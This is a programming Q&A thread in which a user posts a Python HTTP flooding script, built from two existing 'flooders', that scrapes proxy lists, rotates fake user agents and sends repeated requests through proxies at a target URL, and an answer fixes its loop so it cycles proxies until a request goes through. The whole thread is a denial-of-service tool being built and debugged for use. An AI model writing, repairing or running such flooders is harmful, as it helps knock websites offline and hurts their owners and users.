Problems building a flooding script that uses sockets - sockets

Question

I'm trying to improve 2 projects of flooders (not mine) making my own script that these 2 ones. Doing that, I've almost finished but I'm stuck in a point where the script does nothing.
Here is the code:
import socket, threading, random, time, urllib.request, re, os.path
from bs4 import BeautifulSoup
useragents=["Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A",
"Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25",
"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko",
"Mozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1",
"Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
"Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
"Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Maxthon/3.0.8.2 Safari/533.1",]
def checkurl():
global url
url = input("Insert URL: ")
if url[0]+url[1]+url[2]+url[3] == "www.":
url = "http://" + url
elif url[0]+url[1]+url[2]+url[3] == "http":
pass
else:
url = "http://" + url
def threads():
global thread
try:
thread = int(input("Thread (800): "))
except:
thread = 800
def proxymode():
global choise1
choise1 = input("Do you want proxy mode? Answer 'y' to enable it: ")
if choise1 == "y":
choisedownproxy()
else:
exit(0)
def choisedownproxy():
choise2 = input("Do you want to download a fresh list of proxy? Answer 'y' to do it: ")
print ("")
if choise2 == "y":
proxyget()
else:
proxylist()
def proxyget():
if os.path.isfile("proxy.txt"):
out_file = open("proxy.txt","w")
out_file.write("")
out_file.close()
else:
pass
url = "https://www.inforge.net/xi/forums/liste-proxy.1118/"
soup = BeautifulSoup(urllib.request.urlopen(url), "lxml")
base = "https://www.inforge.net/xi/"
for tag in soup.find_all("a", {"class":"PreviewTooltip"}):
links = tag.get("href")
final = base + links
result = urllib.request.urlopen(final)
for line in result :
ip = re.findall("(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3}):(?:[\d]{1,5})", str(line))
if ip:
print("Proxy grabbed=> "+'\n'.join(ip))
for x in ip:
out_file = open("proxy.txt","a")
while True:
out_file.write(x+"\n")
out_file.close()
break
proxylist()
def proxylist():
global proxy
global entries
out_file = str(input("Enter the proxy list: "))
entries = open(out_file).readlines()
proxy = random.choice(entries).strip().split(':')
requestproxy()
def requestproxy():
global proxy
host = proxy[0]
port = proxy[1]
host_url = url.replace("http://", "").replace("https://", "").split('/')[0]
get_host = "GET " + url + " HTTP/1.1\r\nHost: " + host_url + "\r\n"
useragent = "User-Agent: " + random.choice(useragents) + "\r\n"
accept = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate"
connection = "Connection: Keep-Alive\r\n"
request = get_host + useragent + accept + connection + "\r\n"
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(request)
except:
proxy = random.choice(entries).strip().split(':')
checkurl()
threads()
proxymode()
As you can see, this script uses a list of proxies to send request (using socket library) to target. But when I arrive at "Enter the proxy list" and after typed "proxy.txt", the script gets stuck! What did I do wrong? Can you help me?

Answer 1

After you entered "proxy.txt" the script opens the file and then calls requestproxy(). At the end of your requestproxy() you have a "while True". This is an infinite loop, so it will get stuck there unless there is a "break" somewhere, which isn't the case. You should probably add a break after s.send(request) and put the entire function into a loop. That way your infinite loop stops if the package has been sent, but if there was an exception it will try again with a different proxy.
That would look like this:
def requestproxy():
while True:
global proxy
host = proxy[0]
port = proxy[1]
host_url = url.replace("http://", "").replace("https://", "").split('/')[0]
get_host = "GET " + url + " HTTP/1.1\r\nHost: " + host_url + "\r\n"
useragent = "User-Agent: " + random.choice(useragents) + "\r\n"
accept = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate"
connection = "Connection: Keep-Alive\r\n"
request = get_host + useragent + accept + connection + "\r\n"
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(request)
break
except:
proxy = random.choice(entries).strip().split(':')
I hope this helps. Have a nice day!